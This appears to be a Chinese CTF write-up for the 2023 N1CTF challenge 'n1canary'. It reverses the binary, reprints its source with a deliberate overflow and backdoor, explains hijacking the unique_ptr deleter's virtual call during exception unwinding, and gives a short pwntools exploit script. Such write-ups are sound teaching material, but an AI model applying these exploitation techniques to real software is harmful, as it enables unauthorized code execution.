2023 N1CTF-n1canary

news2024/9/27 15:30:41

文章目录

  • 参考
  • n1canary
    • 模板类和模板函数
    • make_unique和unique_ptr
      • std::unique_ptr
        • 示例:
      • std::make_unique
        • 示例:
      • 结合使用示例
    • operator->
    • getrandom
    • 逆向
    • 源码
    • 思路
    • exp

参考

https://nese.team/posts/n1ctf2023/

n1canary

模板类和模板函数

template <size_t SIZE> struct ProtectedBuffer {  
	char buf[SIZE];
};
 ProtectedBuffer<64> buf

ida中
在这里插入图片描述

  template <typename Fn> void mut(Fn const &fn) {
    fn(buf);
    check();
  }
  
   buf.mut([](char *p) { scanf("%[^\n]", p); });

ida中
在这里插入图片描述
Fn是函数类型,如函数参数,函数返回值可用lambda表达式代替,然后mut的参数就是在前一步基础上带有具体的函数方法体了,也是Fn函数类型的,IDA似乎直接把mut的参数优化成了函数方法体的参数了,函数方法体已经生成在具体的函数里了

make_unique和unique_ptr

std::unique_ptr

std::unique_ptr是一个智能指针,它拥有其所指向的对象的独占所有权。这意味着一旦std::unique_ptr超出作用域,它会自动调用析构函数并释放其管理的对象,防止内存泄漏。std::unique_ptr不允许复制,但可以移动,这意味着资源的所有权可以在不同的std::unique_ptr之间转移。

示例:
#include <iostream>
#include <memory>

// 定义一个简单的类
class MyClass {
public:
    MyClass(int value) : value_(value) {
        std::cout << "MyClass constructed with value: " << value_ << std::endl;
    }
    ~MyClass() {
        std::cout << "MyClass destructed." << std::endl;
    }
    int getValue() const {
        return value_;
    }
private:
    int value_;
};

int main() {
    // 使用 std::unique_ptr 来管理 MyClass 的对象
    std::unique_ptr<MyClass> uptr = std::make_unique<MyClass>(42);

    // 使用智能指针访问对象
    std::cout << "Value from MyClass: " << uptr->getValue() << std::endl;

    // std::unique_ptr 在超出作用域时会自动释放其管理的对象
    return 0;
}

std::make_unique

std::make_unique是C++14中引入的一个工厂函数,用于方便地创建std::unique_ptr对象。它可以自动推导出对象的类型,并调用合适的构造函数来初始化对象,避免了手动使用new操作符的繁琐和潜在错误。

示例:
#include <iostream>
#include <memory>

// 使用 std::make_unique 直接创建并初始化 std::unique_ptr
int main() {
    auto uptr = std::make_unique<int>(42); // 创建一个指向整数的 std::unique_ptr
    
    // 使用智能指针访问对象
    std::cout << "Value from unique_ptr: " << *uptr << std::endl;

    // std::unique_ptr 在超出作用域时会自动释放其管理的对象
    return 0;
}

结合使用示例

结合std::make_uniquestd::unique_ptr,我们可以非常简洁和安全地管理动态内存:

#include <iostream>
#include <memory>

class MyClass {
public:
    MyClass(int value) : value_(value) {}
    ~MyClass() { std::cout << "MyClass destructed." << std::endl; }
    int getValue() const { return value_; }
private:
    int value_;
};

int main() {
    // 使用 std::make_unique 创建 std::unique_ptr 并初始化 MyClass 对象
    auto uptr = std::make_unique<MyClass>(42);
    
    // 访问 MyClass 对象的值
    std::cout << "Value from MyClass: " << uptr->getValue() << std::endl;

    // std::unique_ptr 在 main 函数结束时自动释放其管理的 MyClass 对象
    return 0;
}

在上面的示例中,std::make_unique用于创建std::unique_ptr,并在MyClass的构造函数中传递一个整数值。std::unique_ptr负责在main函数结束时释放MyClass对象。

operator->

在C++中,operator->是一个成员访问操作符,它被用来重载指针的解引用箭头操作符。当你使用->来访问一个对象的成员时,这个操作实际上是在调用operator->函数。

对于std::unique_ptr而言,operator->成员函数返回一个指向其管理的对象的指针。这使得你可以像使用普通智能指针一样通过->操作符来访问对象的成员。

getrandom

getrandom() 函数是在 Linux 内核版本 3.17 中引入的,旨在提供一种更安全的方式来获取随机数,尤其是当应用程序需要高质量的随机数据时,比如在加密应用中。这个函数比旧的 /dev/urandom/dev/random 设备文件更高效,因为它减少了上下文切换和系统调用的开销。

getrandom() 函数的原型如下:

#include <linux/random.h>
#include <unistd.h>

ssize_t getrandom(void *buf, size_t buflen, unsigned int flags);
  • buf: 是一个指向缓冲区的指针,getrandom() 将把随机数据写入这个缓冲区。
  • buflen: 是缓冲区的大小,即期望填充的字节数。
  • flags: 可以包含一些标志位,例如:
    • GRND_RANDOM: 强制从阻塞的熵池中读取数据,这类似于从 /dev/random 获取数据。如果熵池中的数据不足,此函数会阻塞直到有足够的熵为止。
    • GRND_NONBLOCK: 如果熵池中的数据不足,此函数不会阻塞,而是立即返回。如果返回值是负数,你可以通过检查 errno 来确定是否是因为熵池中的数据不足。
    • 默认情况下,getrandom() 行为类似于从 /dev/urandom 获取数据,即它总是返回非阻塞的随机数据,即使熵池中的数据不足。

getrandom() 返回的是写入缓冲区的字节数,如果发生错误则返回一个负值,此时可以通过 errno 变量来确定具体的错误原因。

逆向

在这里插入图片描述
在这里插入图片描述
会通过随机数生成方式填充sys_canary,然后通过输入方式用户输入一个8个字节的到user_canary

在这里插入图片描述

根据虚表追踪到最终调用的虚函数
在这里插入图片描述
在这里插入图片描述
三个变量,没有虚函数,实现四个函数
在这里插入图片描述
在这里插入图片描述

模板参数是一个lambda表达式,该lambda表达式是在BOFApp::launch函数中定义的,并且接受一个char *类型的参数

调用了lambda表达式的operator(),即执行了lambda函数体。a2和a1作为参数传递给这个lambda函数
在这里插入图片描述
往ProtectedBuffer的前64个字节的起始位置输入,但没有长度限制,溢出
在这里插入图片描述
会检查溢出,如果不一样就会抛出异常在这里插入图片描述
然后回溯到man函数,被main函数的catch给处理

在这里插入图片描述
然后catch后会执行
在这里插入图片描述

有后门
在这里插入图片描述

源码

#include "sys/random.h"
#include "utils.h"
#include <cstdio>
#include <cstring>
#include <memory>
constexpr size_t CANARY_RANDBITS = 3;
constexpr size_t CANARY_SHIFTBITS = 4;
constexpr size_t CANARY_POOL_SIZE = 1 << CANARY_RANDBITS;
u64 user_canary[CANARY_POOL_SIZE];
u64 sys_canary[CANARY_POOL_SIZE];
template <size_t SIZE> struct ProtectedBuffer {
  char buf[SIZE];
  char padding = 0;
  u64 canary;
  ProtectedBuffer() {
    bzero(buf, sizeof(buf)); //bzero函数将buf数组清零
    canary = getCanary();
  }
  u64 getCanary() {
    u64 addr = (u64)this;
    u64 canary_idx = (addr >> CANARY_SHIFTBITS) & (CANARY_POOL_SIZE - 1);
    //canary_idx 0~15
    u64 raw_canary = user_canary[canary_idx] ^ sys_canary[canary_idx];
    return raw_canary;
  }
  void check() {
    if (canary != getCanary()) {
      raise("*** stack smash detected ***");
    }
  }
  //typename关键字用于声明模板参数Fn是一个类型
  template <typename Fn> void mut(Fn const &fn) {
    fn(buf);
    check();
  }
  // mut是一个模板成员函数,它接受一个函数对象Fn,
  // 通常是一个lambda或函数指针。这个函数对象应该接受一个char *类型的参数,即缓冲区的地址。
  // mut函数执行传入的函数对象,并在完成后调用check()来验证缓冲区的完整性。
};

static void init_canary() {
  if (sizeof(sys_canary) != getrandom(sys_canary, sizeof(sys_canary), 0)) {
    raise("canary init error");
  }
  puts("To increase entropy, give me your canary");
  readall(user_canary);
}

struct UnsafeApp {
  UnsafeApp() { puts("creating dangerous app..."); }
  virtual ~UnsafeApp() {}
  virtual void launch() = 0;
};

struct BOFApp : UnsafeApp {
  void launch() override {
    ProtectedBuffer<64> buf;
    puts("input something to pwn :)");
    buf.mut([](char *p) { scanf("%[^\n]", p); });
    //读取一系列字符,直到遇到一个不属于集合[^]的字符为止
    //从标准输入读取一整行文本(不包括换行符),并将其存储在p指向的缓冲区
    puts(buf.buf);
  }
};

static void backdoor() { system("/readflag"); }

int main() {
  setbuf(stdin, nullptr);
  setbuf(stdout, nullptr);
  init_canary();
  try {
    auto app = std::make_unique<BOFApp>();
    app->launch();
  } catch (...) { //catch (...) 是一个捕获所有类型的异常的通用捕获块
    puts("error!!!");
    exit(1);
  }
}

#pragma once
#include <cstdlib>
#include <stdexcept>
#include <unistd.h>
using u64 = unsigned long long;
static inline void raise(const char *msg) {
  puts(msg);
  throw std::runtime_error(msg);
}
static inline void readall(void *ptr, size_t size) {
  char *p = (char *)ptr;
  size_t tot = 0;
  while (tot < size) {
    auto res = read(STDIN_FILENO, p + tot, size - tot);
    if (res <= 0)
      raise("IO error");
    tot += res;
  }
}
template <typename T> static inline void readall(T &dest) {
  readall(&dest, sizeof(dest));
}

思路

溢出能够控制栈上内容,由于溢出控制的是main中调用launch的栈帧内容,如果溢出到原来main函数的栈帧,那么当异常回溯到main时没准可以利用到溢出的内容进而造成漏洞利用

原来溢出,但没有溢出到返回地址时,throw后跳转到的catch就是main函数部分的
在这里插入图片描述
原来的返回地址是0x0000000000403407 ,溢出保持返回地址不变,随意覆盖rbp并不产生段错误
在这里插入图片描述
查看是否有利用到溢出后的main函数的栈帧的函数

mov rax, rsp mov rdi, rax正好会把当前溢出的0x4f4aa0所在的栈地址移动到rax和rdi
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
std::__uniq_ptr_impl<BOFApp,std::default_delete<BOFApp>>::_M_ptr套娃半天就是返回第一个参数,第一个参数就是0x4f4aa0所在的栈地址,然后std::unique_ptr<BOFApp>::get_deleterstd::move<BOFApp *&>也是一样,只能看std::default_delete<BOFApp>::operator()(BOFApp*)
在这里插入图片描述
rbx之前就被赋值为了0x4f4aa0所在栈地址
在这里插入图片描述

这里将0x4f4aa0作为第二个参数0x4f4aa0所在栈地址作为第一个参数,然后检查第二个参数不为空就会call 第二个参数指向的值+8作为地址指向的内容作为函数指针,所以0x4f4aa0所在地址的值为0x4f4aa0然后+8作为地址0x4f4aa0+8的位置的内容为函数指针,最后就会跳转到这个函数这里去,所以0x4f4aa0+8的值为后门的地址即可
真的太妙了真的太妙了感觉我是废物
在这里插入图片描述

在这里插入图片描述

exp

from pwn import *
a = process("./a.out")

gdb.attach(a)
pause()
payload = p64(0x4f4aa0) + p64(0x403387)
payload = payload.ljust(64,b"a")
a.sendlineafter(b"To increase entropy, give me your canary\n",payload)


payload = b"a"*0x68+p64(0x403407)+p64(0x4f4aa0)
a.sendlineafter(b"input something to pwn :)\n",payload)
a.interactive()


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1920060.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从汇编层看64位程序运行——栈帧(Stack Frame)入门

在《从汇编层看64位程序运行——程序中的栈(Stack)结构及其产生的历史原因》一文中&#xff0c;我们讲解了X86体系架构下&#xff0c;程序的栈结构的特点。本文将介绍另外一个非常重要的结构——栈帧。 A stack frame, often just called a ‘frame,’ is a section of the sta…

大众汽车入职SHL在线测评、英语口语、招聘笔试如何通过、考点分析|备考建议

大众汽车入职在线测验真题考点分析&#xff0c;通过技巧&#xff1f; 大众汽车集团&#xff08;中国&#xff09;在招聘过程中&#xff0c;认知能力测试是评估候选人是否适合某个职位的重要环节。候选人会收到带有线上测评链接的邮件&#xff0c;测评包括胜任力潜力测试(Compe…

MySQL数字相关数据处理函数

目录 1. 随机数生成 rand ( ) 2. 四舍五入 round&#xff08;&#xff09; 3. 舍去 truncate ( ) 4. 向上/下取整 5. 空处理 ifnull&#xff08; x , y &#xff09; 1. 随机数生成 rand ( ) rand ( ) 生成 0 到 1 的随机数&#xff1b; rand ( x ) 生成 0 到 1 的随机数…

Unity之Text组件换行\n没有实现+动态中英互换

前因&#xff1a;文本中的换行 \n没有换行而是打印出来了&#xff0c;解决方式 因为unity会默认把\n替换成\\n 面板中使用富文本这个选项啊 没有用 m_text.text m_text.text.Replace("\\n", "\n"); ###动态中英文互译 using System.Collections; using…

Redis分布式锁-Redisson可重入锁原理的个人见解。

记录Redisson可重入锁的个人见解。 文章目录 前言一、什么叫做锁的重入&#xff1f;二、Redisson可重入锁原理 前言 ⁣⁣⁣⁣ ⁣⁣⁣⁣ 之前在写项目的时候&#xff0c;注意到Redisson可重入锁的一个问题&#xff0c;随即在网上搜索其对应的资料&#xff0c;下面就记录一下个…

nfs共享存储配置

目录 一.存储和NFS共享 1.存储的类型分为三种 2.三种存储架构的应用场景 二.NFS共享存储服务 1.NFS简介 2.NFS存储 3.NFS原理 4.软件介绍 三.搭建NFS服务器 1.搭建 2.使用权限&#xff1a; 读写权限 属主&#xff0c;属组权限 客户端创建文件指向同一属主和属组 …

昇思25天学习打卡营第23天|基于MindSpore通过GPT实现情感分类

1. 学习内容复盘 %%capture captured_output # 实验环境已经预装了mindspore2.2.14&#xff0c;如需更换mindspore版本&#xff0c;可更改下面mindspore的版本号 !pip uninstall mindspore -y !pip install -i https://pypi.mirrors.ustc.edu.cn/simple mindspore2.2.14 I…

Python骨架肌体运动学数学模型

&#x1f3af;要点 &#x1f3af;运动学矢量计算 | &#x1f3af;跳远的运动学计算 | &#x1f3af;关节肢体运动最小加加速度模型 | &#x1f3af;膝关节和踝关节角度二维运动学计算 | &#x1f3af;上下肢体关节连接运动链数学模型 | &#x1f3af;刚体连接点速度加速度计算…

Qt图形与图片(Qt位置相关函数、Qt基础图形的绘制、双缓冲机制、显示SVG格式图片)

此篇文章介绍几种主要位置函数及其之间的区别&#xff0c;以及各种与位置相关函数的使用场合&#xff1b;然后&#xff0c;通过一个简单绘图工具实例&#xff0c;介绍利用QPainter和QPainterPath两种方法绘制各种基础图形&#xff1b;最后&#xff0c;通过几个实例介绍如何利用…

【JVM】对象的生命周期一 | 对象的创建与存储

Java | 对象的生命周期1-对象的创建与存储 文章目录 前言对象的创建过程内存空间的分配方式方式1 | 指针碰撞方式2 | 空闲列表 线程安全问题 | 避免空间冲突的方式方式1 | 同步处理&#xff08;加锁)方式2 | 本地线程分配缓存 对象的内存布局Part1 | 对象头Mark Word类型指针 P…

昇思25天学习打卡营第1天|初步了解

1在昇思平台上申请过相关资源之后&#xff0c;将示例代码粘贴到输入框内。可以在下图中创建一个新的文档。 2不过初次运行的时候会遇到一个问题&#xff0c;点击运行的时候会出现新的输入框&#xff0c;而不是直接运行。遇到此问题等待就可以了&#xff0c;或者稍微等一下再运…

linux系统判断网络物理连接状态

最近发现 /sys/class/net/ 似乎可以获取网口物理连接状态 于是乎在T113i主板上进行了测试。当前是双网口交换机芯片。如图所示&#xff1a; 具体的是 eth0和eth2是单网口&#xff0c;eth1是交换机芯片接的四个网口。 对于carrier 下面对单网口和交换机芯片的网口进行测试。命…

鸿蒙语言基础类库:【@ohos.util.Vector (线性容器Vector)】

线性容器Vector 说明&#xff1a; 本模块首批接口从API version 8开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。开发前请熟悉鸿蒙开发指导文档&#xff1a;gitee.com/li-shizhen-skin/harmony-os/blob/master/README.md点击或者复制转到。 Vect…

Perl语言简介

1.简介 Perl 是 Practical Extraction and Report Language 的缩写&#xff0c;可翻译为"实用报表提取语言"。   Perl 是高级、通用、直译式、动态的程序语言。   Perl 最初的设计者为拉里沃尔&#xff08;Larry Wall&#xff09;&#xff0c;于1987年12月18日发…

python+pygame实现五子棋人机对战之三

上回讲过&#xff1a; pythonpygame实现五子棋人机对战之一 pythonpygame实现五子棋人机对战之二 界面已经有了&#xff0c;并且可以支持鼠标操作选择菜单和人机对战开始下棋了&#xff0c;那电脑是如何应手落子呢&#xff1f;以下内容是通用的类&#xff0c;全部放在utils.…

SQL优化之深分页

SQL优化之深分页 我们都知道&#xff0c;大型项目中的SQL语句&#xff0c;应该尽量避免深分页。 那么问题就来了&#xff1a; 深分页的性能差在哪&#xff1f;什么方案能避免深分页呢&#xff1f; 什么是深分页 深分页&#xff0c;即SQL查询过程中&#xff0c;使用的页数过…

无需构建工具,快速上手Vue2 + ElementUI

无需构建工具&#xff0c;快速上手Vue2 ElementUI 在前端开发的世界中&#xff0c;Vue.js以其轻量级和易用性赢得了开发者的青睐。而Element UI&#xff0c;作为一个基于Vue 2.0的桌面端组件库&#xff0c;提供了丰富的界面组件&#xff0c;使得构建美观且功能丰富的应用变得…

第6章 IT服务运营管理

第6章 IT服务运营管理 6.1 概述 大量企业的实践表明&#xff0c;IT服务运营方面的问题更多的不是来自产品或技术&#xff08;如硬件、软件、网络、电力故障等&#xff09;方面&#xff0c;而是来自管理方面。IT服务的提供者&#xff0c;无论是企业内部的IT部门&#xff0c;还…

nuPlan 是一个针对自动驾驶车辆的闭环机器学习(ML-based)规划基准测试

nuPlan: A closed-loop ML-based planning benchmark for autonomous vehicles nuPlan 是一个针对自动驾驶车辆的闭环机器学习&#xff08;ML-based&#xff09;规划基准测试 Abstract In this work, we propose the world’s first closed-loop ML-based planning benchmar…

Linux文件编程应用

目录 一、实现cp命令 二、修改程序的配置文件 三、写一个整数/结构体到文件 1.写一个整数到文件 2.写一个结构体到文件 四、写结构体数组到文件 我们学习了文件编程的常用指令以及了解文件编程的基本步骤后&#xff0c;试着来写一些程序实现某些功能。&#xff08;没有学…